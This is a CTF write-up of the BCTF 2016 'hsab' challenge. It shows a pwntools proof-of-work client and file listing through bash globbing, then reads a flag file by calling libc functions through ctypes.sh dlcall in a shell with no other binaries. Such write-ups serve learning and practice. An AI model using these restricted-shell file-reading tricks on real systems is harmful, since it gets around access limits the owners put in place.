BCTF 2016 - HSAB - Misc Category Challenge

Reading time ~3 minutes

What a fun challenge. I’ve heard of some very simple solutions after I solved it but I’m fairly certain this way is the intended solution.

We’re given a server we can connect to (after solving a proof of work) that just drops us at a bash command prompt. There’s very little to the clue, in fact, no text, just a name “hsab” and a IP and port to connect to so nothing else there.

First thing we find out is that there’s no binaries on the server. So no ls no cat. You have bash and that’s it. You also get dropped very quickly, like you have about 10 seconds then you get booted off.

I quickly hack this client together to try somethings:

#!/usr/bin/python

from pwn import *
import string
import hashlib
import itertools

host = '104.199.132.199'
port = 2222

while True:
    try:
        conn = remote(host,port)
        chall = conn.recvline().split('\'')[1]
        print "[*] Connecting - challenge: " + chall
        for i in itertools.product(string.ascii_letters + string.digits, repeat=7):
            attempt = ''.join(i)

            ha = hashlib.sha256()
            ha.update(chall + attempt)

            if ha.hexdigest().startswith("00000"):
                break

        conn.sendline(chall + attempt)
        conn.interactive()
    except KeyboardInterrupt:
        conn.close()
        pass

We can do a rudimentary listing of the filesystem with echo * and we find that the flag is most likely in the /home/ctf/flag.ray file.

root@kali:~/bctf/misc/hsab# ./hsab.py 
[+] Opening connection to 104.199.132.199 on port 2222: Done
[*] Connecting - challenge: kosdnoms
[*] Switching to interactive mode
-bash-4.4$ $ echo /*
/bin /dev /etc /home /lib /lib64 /proc /run /sys /usr
-bash-4.4$ $ echo home/*
home/ctf
-bash-4.4$ $ echo home/ctf/*
home/ctf/flag.ray
-bash-4.4$ $ echo bin/*
bin/bash bin/server
-bash-4.4$ $ echo usr/bin/*
usr/bin/bash usr/bin/server
-bash-4.4$ 
server: timeout

Ok so no software and need to read a file. Is the file even readable? We don’t know! I begin to research “bash builtins” looking for a flag that will cat our file. On a whim I checked the environment with “set”:

-bash-4.4$ $ set
BASH=/bin/bash
BASHOPTS=cmdhist:complete_fullquote:expand_aliases:extquote:force_fignore:hostcomplete:interactive_comments:login_shell:promptvars:sourcepath
...
RTLD_DEFAULT=0x0
RTLD_NEXT=0x-1
...
TERM=dumb
UID=1000
_=:
builtins=([0]="callback" [1]="dlcall" [2]="dlclose" [3]="dlopen" [4]="dlsym" [5]="pack" [6]="unpack")

Hmm what’s this in the builtin’s array in the environment? A quick google search turns up this which I recall reading when Tavis posted it a little while back: https://github.com/taviso/ctypes.sh/wiki

So it appears that ctypes.sh plugin may be loaded into this shell? Let’s do the “Hello world” test:

-bash-4.4$ $ dlcall puts "Hello, World"
Hello, World

Ok cool. So basically we can use dynamic library functions on this bash command line. libc seems to already be loaded so we map out what we need to do:

  • Is the flag readable? If so
  • fopen the /home/ctf/flag.ray and get a file handle
  • malloc a buffer
  • fread from the file handle into our buffer
  • printf the output

Let’s check #1 - is the flag readable? Tavis gives us a “stat” example so lets use his example!

dlcall -n statbuf -r pointer malloc 1024
declare -a stat
{
    unset n
    stat[st_dev     = n++]="long"
    stat[st_ino     = n++]="long"
    stat[st_nlink   = n++]="long"
    stat[st_mode    = n++]="int"
    stat[st_uid     = n++]="int"
    stat[st_gid     = n++]="int"
    stat[             n++]="int"
    stat[st_rdev    = n++]="long"
    stat[st_size    = n++]="long"
    stat[st_blksize = n++]="long"
    stat[st_blocks  = n++]="long"
}
dlcall __xstat 0 "/home/ctf/flag.ray" $statbuf
unpack $statbuf stat
printf "/home/ctf/flag.ray\n"
printf "\tuid:  %u\n" ${stat[st_uid]##*:}
printf "\tgid:  %u\n" ${stat[st_gid]##*:}
printf "\tmode: %o\n" ${stat[st_mode]##*:}
printf "\tsize: %u\n" ${stat[st_size]##*:}
dlcall free $statbuf

I just paste it straight in at the prompt :)The important part of the result is:

-bash-4.4$ printf "\tmode: %o\n" ${stat[st_mode]##*:}
    mode: 100644

Phew we don’t have to escalate privs the file is mode 0644! Let’s begin reading it. Here’s the code I came up with after struggling with syntax for a short while:

dlcall -n fd -r pointer fopen "/home/ctf/flag.ray" "r"
dlcall -n flagbuf -r pointer malloc 1024
dlcall -n flagbuf fread $flagbuf 1024 1 $fd
dlcall printf "%s" $flagbuf

And when we paste that in we’re rewarded with the flag:

-bash-4.4$ $ dlcall -n fd -r pointer fopen "/home/ctf/flag.ray" "r"
pointer:0x1696be0
-bash-4.4$ dlcall -n flagbuf -r pointer malloc 1024
pointer:0x1697240
-bash-4.4$ dlcall -n flagbuf fread $flagbuf 1024 1 $fd
-bash-4.4$ dlcall printf "%s" $flagbuf
#BCTF{ipreferzshtobash}
-bash-4.4$ 
server: timeout

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023